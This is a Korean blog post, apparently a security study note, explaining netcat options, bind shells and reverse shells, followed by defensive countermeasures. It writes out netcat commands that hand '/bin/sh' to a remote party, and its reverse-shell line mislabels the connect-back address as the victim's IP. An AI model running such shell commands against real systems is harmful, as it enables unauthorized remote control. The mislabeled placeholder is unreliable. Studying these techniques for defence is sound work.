2.log

NC와 바인드쉘, 리버스 쉘 본문

HACKING/Bandit+

NC와 바인드쉘, 리버스 쉘

2.log 2023. 4. 16. 03:16
728x90
반응형

 

NC(NetCat)


TCP or UDP 프로토콜을 이용해 데이터 읽고 쓰는 네트워크 유틸리티 프로그램으로, 서버와 클라이언트 역할 모두 수행하며 proxy, ssl/tls 암호화 통신 등 다양한 기능 지원

 

거의 모든 종류의 접속 형태를 만들어 낼 수 있어 네트워크 디버깅, 테스트 툴로서 매우 편리하게 이용되지만 그만큼 해킹에도 이용 범위가 넓음

 

 

 

주요 옵션


 -c 쉘 커맨드 수행, 명령어 실행하는 -e 와 유사하게 사용가능
[ex] -e /bin/sh
 -l listen mode(서버모드) 로 동작
 -p 로컬 포트 지정
서버모드로 동작하는 경우 listen 포트 지정
 -u UDP 프로토콜 모드로 동작
 -v 상태메시지 출력
추가메시지 출력 원한다면 -vv
 -e  연결 수립 후 프로그램 실행
 -w secs  타임아웃 설정

 

 

 

네트워크 연결


$ nc [IP주소] [PORT번호]

# ex) 192.168.0.10 의 22번 포트에 연결
$ nc 192.168.0.10 22

 

 

 

간단한 서버 / 클라이언트 구성


ex) 1234 번 포트에서 LISTEN 하는 간단한 채팅 서버

 

1) 서버측에서 1234 포트 listen 상태로 해놓고 기다림

#server
$ nc -l 1234

 

2) 클라이언트 측에서 서버의 1234 포트로 접속

# client
$ nc localhost 1234
#(=telnet localhost 1234)

 

3) 커넥션 수립되면 이후 양방향 통신 가능

    >> 클라이언트에서 입력한 모든 문자가 서버에 출력됨

 

4) 클라이언트 측에서 (ctrl + d) 로 연결 끊으면 서버도 같이 종료

 

 

 

 

 

바인드 쉘 (Bind Shell)


타겟 서버에서 특정 포트를 오픈하고 있으면 외부에서 해당 포트의 존재를 알고있는 공격자가 접속해 쉘 생성하는 일반적인 서버 접속 형태로, 주로 대상 시스템에서 서비스가 실행되고 있을 때 해당 서비스 취약점 이용하여 이루어짐

간단하지만 외부에서 연결하는 형태라 방화벽 등으로 쉽게 걸러짐

 

명령어

# 서버(Victim)
$ nc -lvp [port] -e /bin/sh

# 클라이언트(Attacker) 
$ nc [Victim's IP] [port]

 

 

커넥션 이루어지면 공격자서버에서 명령어로 타겟 서버 제어 가능

 

 

 

리버스 쉘 (Reverse Shell)


바인드 쉘과 반대개념으로, 인바운드 정책보다 아웃바운드 정책이 느슨하다는 점 이용 (방화벽 등 보안매커니즘 우회 가능)

공격자가 자신의 서버에서 특정 포트 오픈하고 대기하고 있다가, 타겟 서버가 해당 포트로 접속하면 쉘 생성

 

명령어

# 서버(Attacker)
$ nc -lvp [port]

# 클라이언트(Victim)
$ nc [Victim's IP] [port] -e /bin/sh

 

커넥션 이루어지면 이후 과정 동일

 

 

 

 

대응방안


1. 방화벽 설정

방화벽을 통해 해당 포트에 대한 외부 접근 차단

 

2. 포트 이동

리버스 쉘이나 바인드 쉘을 실행하기 위해 사용하는 기본 포트를 변경하여 사용

기존에 사용되는 포트가 아닌 알지 못하는 다른 포트로 접근해야 하기에 공격자에게 혼란 줄 수 있음

 

3. 보안 패치 및 업그레이드, 보안 솔루션 사용

공격자가 이용할 수 있는 취약점을 최소화 하기 위해 취약점 패치나 시스템 업데이트 수행

 

4. 취약점 스캔

시스템에 대한 취약점 스캔을 수행하여, 리버스 쉘이나 바이드 쉘 실행 가능성 확인하고 그에 대한 수정/보안정책 수립

 

5. 시스템 로그 모니터링

이상한 로그인 시도나 악성 코드 실행 등 이벤트 식별하고 대응

https://noredstone.tistory.com/93  > 분석 시나리오 참고

 

 

 

 

 

 

 

 

 

 

 

[출처]

https://devanix.tistory.com/307

 

넷캣(Netcat) 간단한 사용방법

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거

devanix.tistory.com

https://youtu.be/0cgAAfB2yM4

https://tar-cvzf-studybackup-tar-gz.tistory.com/65

 

nc(netcat)명령어 사용법

nc는 telnet을 대신 할 수 있다.why? 보내는 방식이 같다.그래서 모의해커들이 많이 사용한다.보안 쪽에서 많이 쓸때는 포렌식 쪽에서 이미지를 넘길 때 많이 사용한다.백도어 만들 때도 사용한다. N

tar-cvzf-studybackup-tar-gz.tistory.com

 

728x90
반응형
Comments